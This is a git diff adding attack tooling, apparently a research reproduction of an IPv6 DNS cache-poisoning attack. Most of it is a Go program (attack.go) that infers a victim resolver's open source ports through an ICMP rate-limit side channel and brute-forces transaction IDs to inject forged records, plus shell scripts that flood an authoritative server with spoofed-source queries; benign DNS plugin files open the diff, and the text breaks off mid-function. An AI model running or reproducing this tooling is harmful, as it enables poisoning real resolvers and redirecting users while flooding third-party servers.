diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" new file mode 100644 index 0000000..b3b7a14 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" @@ -0,0 +1,19 @@ +package plugin + +import "github.com/coredns/caddy" + +// Register registers your plugin with OhmyDNS2 and allows it to be called when the server is running. +func Register(name string, action caddy.SetupFunc) { + caddy.RegisterPlugin(name, caddy.Plugin{ + ServerType: "dns", + Action: action, + }) +} + +// ProbeRegister registers your plugin with OhmyDNS2 and allows it to be called when the prober is running. +func ProbeRegister(name string, action caddy.SetupFunc) { + caddy.RegisterPlugin(name, caddy.Plugin{ + ServerType: "dnsprober", + Action: action, + }) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" new file mode 100644 index 0000000..9ab99bc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" @@ -0,0 +1,22 @@ +package whoami + +import ( + "github.com/coredns/caddy" + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" +) + +func init() { plugin.Register("whoami", setup) } + +func setup(c *caddy.Controller) error { + c.Next() // 'whoami' + if c.NextArg() { + return plugin.Error("whoami", c.ArgErr()) + } + + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + return Whoami{} + }) + + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" new file mode 100644 index 0000000..4c18ec0 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" @@ -0,0 +1,56 @@ +package whoami + +import ( + "context" + "github.com/miekg/dns" + "net" + "ohmydns2/plugin/pkg/request" + "strconv" +) + +const name = "whoami" + +// Whoami is a plugin that returns your IP address, port and the protocol used for connecting +// to CoreDNS. +type Whoami struct{} + +// ServeDNS implements the plugin.Handler interface. +func (wh Whoami) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + state := request.Request{W: w, Req: r} + + a := new(dns.Msg) + a.SetReply(r) + a.Authoritative = true + + ip := state.IP() + var rr dns.RR + + switch state.Family() { + case 1: + rr = new(dns.A) + rr.(*dns.A).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeA, Class: state.QClass()} + rr.(*dns.A).A = net.ParseIP(ip).To4() + case 2: + rr = new(dns.AAAA) + rr.(*dns.AAAA).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeAAAA, Class: state.QClass()} + rr.(*dns.AAAA).AAAA = net.ParseIP(ip) + } + + srv := new(dns.SRV) + srv.Hdr = dns.RR_Header{Name: "_" + state.Proto() + "." + state.QName(), Rrtype: dns.TypeSRV, Class: state.QClass()} + if state.QName() == "." { + srv.Hdr.Name = "_" + state.Proto() + state.QName() + } + port, _ := strconv.ParseUint(state.Port(), 10, 16) + srv.Port = uint16(port) + srv.Target = "." + + a.Extra = []dns.RR{rr, srv} + + w.WriteMsg(a) + + return 0, nil +} + +// Name implements the Handler interface. +func (wh Whoami) Name() string { return name } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" new file mode 100644 index 0000000..094236a --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" @@ -0,0 +1,126 @@ +//go:build ignore + +// 用于自动生成core/plug/zplugin.go和core/dnsserver/zdirectives.go的内容 +package main + +import ( + "bufio" + "go/format" + "log" + "os" + "strings" +) + +func main() { + mi := make(map[string]string, 0) + md := []string{} + pmd := []string{} + + file, err := os.Open(pluginFile) + if err != nil { + log.Fatalf("Failed to open %s: %q", pluginFile, err) + } + + defer file.Close() + + scanner := bufio.NewScanner(file) + for scanner.Scan() { + line := scanner.Text() + if strings.HasPrefix(line, "#") { + continue + } + + items := strings.Split(line, ":") + if len(items) != 2 { + // ignore empty lines + continue + } + name, repo := items[0], items[1] + // 判断是否重复 + if _, ok := mi[name]; ok { + log.Fatalf("Duplicate entry %q", name) + } + + if _, err := os.Stat(pluginFSPath + repo); err != nil { // External package has been given + if _, err = os.Stat(proberPluginFSPath + repo); err == nil { + mi[name] = proberPluginPath + repo //探测端插件 + pmd = append(pmd, name) + continue + } else { + panic(err.Error()) + mi[name] = repo + } + } else { + mi[name] = pluginPath + repo // 服务端插件 + md = append(md, name) + } + } + + genImports("core/plug/zplugin.go", "plugin", mi) + // 服务端 + genDirectives("core/dnsserver/zdirectives.go", "dnsserver", md) + // 探测端 + genDirectives("core/prober/pdirectives.go", "prober", pmd) +} + +func genImports(file, pack string, mi map[string]string) { + outs := header + "package " + pack + "\n\n" + "import (" + + if len(mi) > 0 { + outs += "\n" + } + + outs += "// Include all plugins.\n" + for _, v := range mi { + outs += `_ "` + v + `"` + "\n" + } + outs += ")\n" + + if err := formatAndWrite(file, outs); err != nil { + log.Fatalf("Failed to format and write: %q", err) + } +} + +func genDirectives(file, pack string, md []string) { + outs := header + "package " + pack + "\n\n" + outs += ` +// Directives are registered in the order they should be +// executed. +// +// Ordering is VERY important. Every plugin will +// feel the effects of all other plugin below +// (after) them during a request, but they must not +// care what plugin above them are doing. +var Directives = []string{ +` + // 插件列表生成 + for i := range md { + outs += `"` + md[i] + `",` + "\n" + } + outs += "}\n" + + if err := formatAndWrite(file, outs); err != nil { + log.Fatalf("Failed to format and write: %q", err) + } +} + +func formatAndWrite(file string, data string) error { + res, err := format.Source([]byte(data)) + if err != nil { + return err + } + + if err = os.WriteFile(file, res, 0644); err != nil { + return err + } + return nil +} + +const ( + pluginPath = "ohmydns2/plugin/" + proberPluginPath = "ohmydns2/plugin/prober/" + pluginFile = "plugin.cfg" + pluginFSPath = "plugin/" // Where the plugins are located on the file system + proberPluginFSPath = "plugin/prober/" // 探测器插件在文件系统中的位置 + header = "// generated by plugin_gen.go; DO NOT EDIT\n\n" +) diff --git "a/att script/3 (v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" "b/att script/3 (v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" new file mode 100644 index 0000000..8c41fa7 Binary files /dev/null and "b/att script/3 (v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" differ diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/attack.sh" "b/att script/4 (v6\346\263\250\345\205\245)/code/attack.sh" new file mode 100644 index 0000000..d67ca19 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/attack.sh" @@ -0,0 +1,3 @@ +chmod 777 ./start.sh +chmod 777 ./dns_query.sh +./start.sh $1 $2 $3 $4 $5 \ No newline at end of file diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/dns_OPT.bin" "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_OPT.bin" new file mode 100644 index 0000000..e0dcbc1 Binary files /dev/null and "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_OPT.bin" differ diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/dns_end.bin" "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_end.bin" new file mode 100644 index 0000000..8aa4774 Binary files /dev/null and "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_end.bin" differ diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/dns_query.sh" "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_query.sh" new file mode 100644 index 0000000..dbc0266 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_query.sh" @@ -0,0 +1,8 @@ +# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com) +# write the domain name into the binary +echo "初始化工具环境" +# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power. +# fire! +go version +echo "尝试触发权威服务器请求速率限制" +./flood -i $4 -saddr $2 -taddr $1 -q $3 diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/dns_start.bin" "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_start.bin" new file mode 100644 index 0000000..e6e4242 Binary files /dev/null and "b/att script/4 (v6\346\263\250\345\205\245)/code/dns_start.bin" differ diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" new file mode 100644 index 0000000..6cc6f87 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" @@ -0,0 +1,685 @@ +package main + +import ( + "flag" + "fmt" + "github.com/google/gopacket" + "log" + "math/rand" + "net" + "os" + "strconv" + "sync" + "time" + + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "github.com/google/gopacket/routing" +) + +var handle *pcap.Handle +var ethernetLayer *layers.Ethernet +var victimDNSName string +var dnsQueryName string +var authIP net.IP +var resolverIP net.IP +var localIP []net.IP +var defaultJitter uint +var gotReply = false +var attackerControlledDomain string +var attackForwarder bool +var repeatTimes int +var timeGap uint +var attTargetAddr string +var soaName string + +var jitter uint = 10 +var rtt uint = 1 // in ms +var debugOutput = true + +const GROUP_SIZE = 50 + +/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */ +//var sendingChannel chan *outgoingPacket +var backendResolvers = make([]*backendResolver, 0) +var bruteForceShouldBeKilled = false + +type backendResolver = struct { + resolverBackendIP net.IP + + // [端口组ID][端口] + groups [][]uint16 // = make([][]uint16, 65536) + groupIDCounter uint32 // = 3 + groupIDCounterLock *sync.Mutex + groupSendTime []time.Time // = make([]time.Time, 65536) + + probeChannel chan uint32 //= make(chan uint16, 655) + priorityProbeChannel chan uint32 //= make(chan uint16, 655) + alwaysOpenPorts []bool //= make([]bool, 65536) + + perIPLimitCounter []int //= 6 + + networkXmitLock *sync.Mutex +} + +// timeout in ms, 持续触发查询请求 +func dnsRequestSender(timeout uint) { + for { + gotReply = false + sendDNSRequest(uint16(rand.Uint32()), dnsQueryName) + retryTimes := timeout / 500 + for { + if !gotReply { + time.Sleep(500 * time.Millisecond) + retryTimes-- + if retryTimes == 0 { + break + } + } else { + if debugOutput { + fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms") + } else { + fmt.Println("Rx") + } + break + } + } + if !attackForwarder { + //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName + dnsQueryName = victimDNSName + } else { + /* I'm not sure if we should change the nonce. */ + dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain + } + } +} + +func receivingThread() { + for { + data, captureInfo, err := handle.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + log.Printf("error reading packet: %v", err) + continue + } + + // Parse the packet. We'd use DecodingLayerParser here if we + // wanted to be really fast. + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) + + // Find the packets we care about, and print out logging + // information about them. All others are ignored. + if rspNet := packet.NetworkLayer(); rspNet == nil { + continue + } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil { + continue + //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil { + } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil { + continue + } else if rspIP.NextHeader != layers.IPProtocolICMPv6 { + if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 { + rspUDPLayer := packet.Layer(layers.LayerTypeUDP) + if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 { + rspDNSLayer := packet.Layer(layers.LayerTypeDNS) + if rspDNSLayer != nil { + rspDNS := rspDNSLayer.(*layers.DNS) + if rspDNS.QR == true { + if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName && + string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName { + fmt.Println("Success!!") + os.Exit(0) + } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr { + for _, record := range rspDNS.Answers { + if record.Type == layers.DNSTypeAAAA { + fmt.Println("AAAA记录修改成功!!") + os.Exit(0) + } + } + } else if string(rspDNS.Questions[0].Name) == dnsQueryName { + gotReply = true + } + } + } + } + } + continue + } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil { + continue + } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok { + continue + } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) && + rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) { + continue + } else if nestedIpData := rspICMP.Payload; nestedIpData == nil { + continue + } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil { + continue + } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil { + continue + } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil { + continue + } else { + r := getBackendResolver(nestedIp.DstIP) + if r != nil { + + nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP) + if nestedUDPLayer == nil { + fmt.Println("nestedUDPLayer == nil") + continue + } + nestedUDP := nestedUDPLayer.(*layers.UDP) + if nestedUDP == nil { + fmt.Println("nestedUDP == nil") + continue + } + + //got verification packet back + if nestedIp.FlowLabel > 1 { + //update rtt + /* Potential BUG: rtt of both resolver may not be the same. */ + newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1 + if newrtt >= 0 && newrtt < 5000 { + var draftJitter uint = 0 + if uint(newrtt) > rtt { + draftJitter = uint(newrtt) - rtt + } else { + draftJitter = (jitter + (rtt - uint(newrtt))) / 2 + } + if jitter > 30 { + fmt.Println("Jitter > 30ms!") + jitter = 10 + } else { + jitter = draftJitter + } + rtt = uint(newrtt) + if debugOutput { + fmt.Println("rtt=", rtt, ", jitter=", jitter) + } + } else { + fmt.Println("newrtt error:", newrtt) + } + //reduce ratelimit counter + localIPNum := getLocalIPNum(nestedIp.SrcIP) + if localIPNum != -1 { + if r.perIPLimitCounter[localIPNum] >= 0 { + r.perIPLimitCounter[localIPNum]-- + } + if r.perIPLimitCounter[localIPNum] < 0 { + if debugOutput { + /* This may happen in real attacks. Don't panic :). */ + fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0") + } + } + if debugOutput { + fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum]) + } + } else { + if debugOutput { + fmt.Println("received unwanted ICMP for", nestedIp.SrcIP) + } + } + //process the packet + binarySearch(r, nestedIp.FlowLabel) + } + } + } + } +} + +func binarySearch(r *backendResolver, flowlabel uint32) { + groupLen := 0 + group := r.groups[flowlabel] + + for _, port := range group { + if port != 65535 { + groupLen++ + } else { + break + } + } + + if groupLen == 1 { + //brute force + r.networkXmitLock.Lock() + fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0]))) + dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[group[0]] = true + } else if groupLen > 1 { + var repeatTimes1 int + if repeatTimes > 1 { + repeatTimes1 = repeatTimes + 1 + } else { + repeatTimes1 = 1 + } + for j := 0; j < repeatTimes1; j++ { + //二分法定位开放端口 + //left + id := allocateGroupID(r) + r.groups[id] = make([]uint16, groupLen/2) + copy(r.groups[id], group[0:groupLen/2]) + for len(r.groups[id]) < GROUP_SIZE { + r.groups[id] = append(r.groups[id], 65535) + } + if debugOutput { + fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2) + } else { + fmt.Println("Found something interesting!") + } + r.priorityProbeChannel <- flowlabel + + //right + id = allocateGroupID(r) + r.groups[id] = make([]uint16, groupLen-groupLen/2) + copy(r.groups[id], group[groupLen/2:groupLen]) + for len(r.groups[id]) < GROUP_SIZE { + r.groups[id] = append(r.groups[id], 65535) + } + //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2) + r.priorityProbeChannel <- flowlabel + } + } else { + if debugOutput { + fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel) + for _, port := range group { + fmt.Print(port) + } + } + } +} + +func perIPLimitRecover(r *backendResolver, num int) { + for { + if r.perIPLimitCounter[num] < 6 { + time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond) + r.perIPLimitCounter[num]++ + } else { + time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond) + } + } +} + +func probeSender(r *backendResolver) { + for { + + var flow uint32 + select { + case flow = <-r.priorityProbeChannel: + break + case flow = <-r.probeChannel: + break + //default: + // time.Sleep(time.Microsecond) + } + + // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解 + if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 { + //brute force + fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0]))) + fmt.Println("开始爆破事务ID") + r.networkXmitLock.Lock() + dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[r.groups[flow][0]] = true + continue + } + // 测试每个IP的速率限制 + var verifyIP net.IP + for { + verifyIP = getIPwithAvailableCounter(r) + if verifyIP == nil { + time.Sleep(time.Millisecond) + } else { + break + } + } + + //send + ports := r.groups[flow] + r.networkXmitLock.Lock() + for i := 0; i < GROUP_SIZE; i++ { + if defaultJitter <= 3 { + if attackForwarder { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100) + } else { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1) + } + } else { + xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0) + } + } + time.Sleep(time.Duration(defaultJitter) * time.Millisecond) + // 验证 + xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10) + r.groupSendTime[flow] = time.Now() + if rand.Uint32()%100 < 2 { + if debugOutput { + fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49))) + } else { + fmt.Println("开放端口猜测中,请稍后...") + } + } + + // 等待全局计数器恢复 + if !attackForwarder { + time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond) + } else { + /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */ + time.Sleep(time.Duration(60) * time.Millisecond) + } + r.networkXmitLock.Unlock() + } +} + +// 划分端口 +func portGroupFormer(r *backendResolver, startPort uint, endPort uint) { + for { + //divide into groups + var id uint32 = 0 + var currentGroupSize = 0 + + for i := startPort; i <= endPort; i++ { + // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释 + if r.alwaysOpenPorts[i] { + continue + } + if currentGroupSize%GROUP_SIZE == 0 { + if id != 0 { + r.probeChannel <- id + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(r) + r.groups[id] = make([]uint16, len(r.groups[previd])) + copy(r.groups[id], r.groups[previd]) + r.probeChannel <- id + } + } + + id = allocateGroupID(r) + r.groups[id] = make([]uint16, 0) + } + + r.groups[id] = append(r.groups[id], uint16(i)) + currentGroupSize++ + } + + //deal with last several cases + if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 { + for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 { + r.groups[id] = append(r.groups[id], 65535) + } + + r.probeChannel <- id + + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(r) + r.groups[id] = make([]uint16, len(r.groups[previd])) + copy(r.groups[id], r.groups[previd]) + r.probeChannel <- id + } + } + } +} + +func main() { + + /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */ + /* IPv4 is not supported yet. */ + /* Use "-h to get usage. " */ + /* Attaching PoC? */ + /* Add Paper Bio? */ + ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.") + /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */ + // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac") + authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.") + resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.") + resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.") + resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.") + startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.") + endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.") + victimDNSName := flag.String("n", "", "The domain name to be poisoned.") + dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).") + defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.") + repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.") + timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.") + attTargetAddr := flag.String("ad", "", "想要篡改实现的结果") + debugOutput := flag.Bool("d", false, "调试输出模式.") + attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.") + soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)") + + flag.Parse() + fmt.Println("侧信道脚本工作参数:") + fmt.Println("\t网络接口:" + *ifaceName) + fmt.Println("\t目标域名权威服务器地址:" + *authServer) + fmt.Println("\t目标服务器地址:" + *resolverBackend) + fmt.Println("\t目标域名:" + *victimDNSName) + fmt.Println("\t预期修改结果:" + *attTargetAddr) + //gatewayMac, _ := net.ParseMAC(*gateWayMacStr) + Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter, + *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName) + os.Exit(0) +} + +func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint, + defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string, + soaNameArg string) { + rand.Seed(time.Now().UnixNano()) + + handle, _ = pcap.OpenLive( + ifaceName, + 65536, + true, + pcap.BlockForever, + ) + err := handle.SetBPFFilter("not host " + authIPArg.To16().String()) + if err != nil { + fmt.Println("cannot set BPF filter.") + } + + iface, err := net.InterfaceByName(ifaceName) + if err != nil { + fmt.Println("cannot open network interface") + os.Exit(1) + } + // 是否攻击转发器 + if attackerMaliciousDomainArg != "" { + attackForwarder = true + fmt.Println("转发器攻击模式!") + attackerControlledDomain = attackerMaliciousDomainArg + } + + // 参数赋值 + authIP = authIPArg + resolverIP = resolverIPArg + victimDNSName = victimDNSNameArg + debugOutput = debugOutputArg + timeGap = timeGapArg + attTargetAddr = attTargetAddrArg + soaName = soaNameArg + + localIP, _ = GetIfaceAddrMulti(iface) + nonce := strconv.Itoa(rand.Int()) + + if !attackForwarder { + //dnsQueryName = nonce + "." + victimDNSName + dnsQueryName = victimDNSName + } else { + dnsQueryName = nonce + "." + attackerControlledDomain + } + + defaultJitter = defaultJitterArg + repeatTimes = repeatTimesArg + + if resolverBackendList != "" { + file, err := os.Open(resolverBackendList) + if err != nil { + fmt.Println(err) + os.Exit(10) + } + for { + var resolverIP string + n, err := fmt.Fscanf(file, "%s", &resolverIP) + if n <= 0 || err != nil { + break + } + backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP))) + } + } else { + //r1 shouldn't be nil + r1 := backendResolverBuilder(resolverBackendIPArg) + backendResolvers = append(backendResolvers, r1) + } + + //figure out MAC address + //test if it's in LAN first + // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16()) + gwIP, err := getv6Gateway() + dstMac, err := getGatewayV6Mac(ifaceName, gwIP) + if err == nil { + ethernetLayer = &layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: dstMac, + //EthernetType: layers.EthernetTypeIPv4, + EthernetType: layers.EthernetTypeIPv6, + } + fmt.Println("\t目的Mac地址为:", dstMac) + } else { + //query routing table + router, err := routing.New() + if err != nil { + fmt.Println(err) + os.Exit(4) + } + _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP) + if err != nil { + fmt.Println(err) + os.Exit(5) + } + dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16()) + if err != nil { + fmt.Println(err) + os.Exit(6) + } + fmt.Println("MAC:", dstMac) + ethernetLayer = &layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: dstMac, + //EthernetType: layers.EthernetTypeIPv4, + EthernetType: layers.EthernetTypeIPv6, + } + } + + // 开启接收线程,处理响应包判断攻击状态 + go receivingThread() + + for i, ip := range localIP { + // 只使用公网IP + if !ip.IsLoopback() { + if debugOutput { + fmt.Println("可用 IP", ip) + } + for _, r := range backendResolvers { + go perIPLimitRecover(r, i) + } + } + } + // 发送dns查询请求,触发端口开放 + go dnsRequestSender(dnsQueryTimeout) + + for _, r := range backendResolvers { + // 猜测端口 + go probeSender(r) + // 端口范围组合 + go portGroupFormer(r, startPort, endPort) + time.Sleep(25 * time.Millisecond) + } + + time.Sleep(999 * time.Hour) + +} + +func allocateGroupID(r *backendResolver) uint32 { + r.groupIDCounterLock.Lock() + id := r.groupIDCounter + r.groupIDCounter++ + if r.groupIDCounter == 0 { + r.groupIDCounter = 3 + } + r.groupIDCounterLock.Unlock() + return id +} + +func getBackendResolver(resolverIP net.IP) *backendResolver { + for _, r := range backendResolvers { + if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 { + return r + } + } + return nil +} + +func lockNetwork() { + for _, r := range backendResolvers { + r.networkXmitLock.Lock() + } +} + +func unlockNetwork() { + for _, r := range backendResolvers { + r.networkXmitLock.Unlock() + } +} + +func getLocalIPNum(ip net.IP) int { + for i, localip := range localIP { + if compareIPv6Addr(localip, ip) == 0 { + return i + } + } + return -1 +} + +func backendResolverBuilder(backendIP net.IP) *backendResolver { + + if backendIP == nil { + return nil + } + temp := backendResolver{ + resolverBackendIP: backendIP, + groups: make([][]uint16, 65536), + groupIDCounter: 3, + groupIDCounterLock: &sync.Mutex{}, + groupSendTime: make([]time.Time, 65536), + probeChannel: make(chan uint32, 655), + priorityProbeChannel: make(chan uint32, 655), + alwaysOpenPorts: make([]bool, 65536), + perIPLimitCounter: make([]int, len(localIP)), + networkXmitLock: &sync.Mutex{}, + } + for i := range temp.perIPLimitCounter { + temp.perIPLimitCounter[i] = 6 + } + for i := 0; i < 65536; i++ { + temp.alwaysOpenPorts[i] = false + } + temp.alwaysOpenPorts[53] = true + temp.alwaysOpenPorts[0] = true + temp.alwaysOpenPorts[65535] = true + return &temp + +} + +// distribute verification to multiple IPs evenly +func getIPwithAvailableCounter(r *backendResolver) net.IP { + seed := rand.Int() % len(localIP) + for i := 0; i < len(localIP); i++ { + if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 { + return localIP[(i+seed)%len(localIP)] + } + } + return nil +} diff --git "a/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" new file mode 100644 index 0000000..c29f9f9 --- /dev/null +++ "b/att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" @@ -0,0 +1,261 @@ +package main + +import ( + "fmt" + "math/rand" + "net" + "time" + + "github.com/google/gopacket/layers" +) + +var bruteForceCouldBeKilled bool + +func sendDNSRequest(id uint16, name string) { + if debugOutput { + fmt.Println("Send new DNS request", name, id) + } + _sendDNSRequest(id, name, localIP[0], resolverIP, 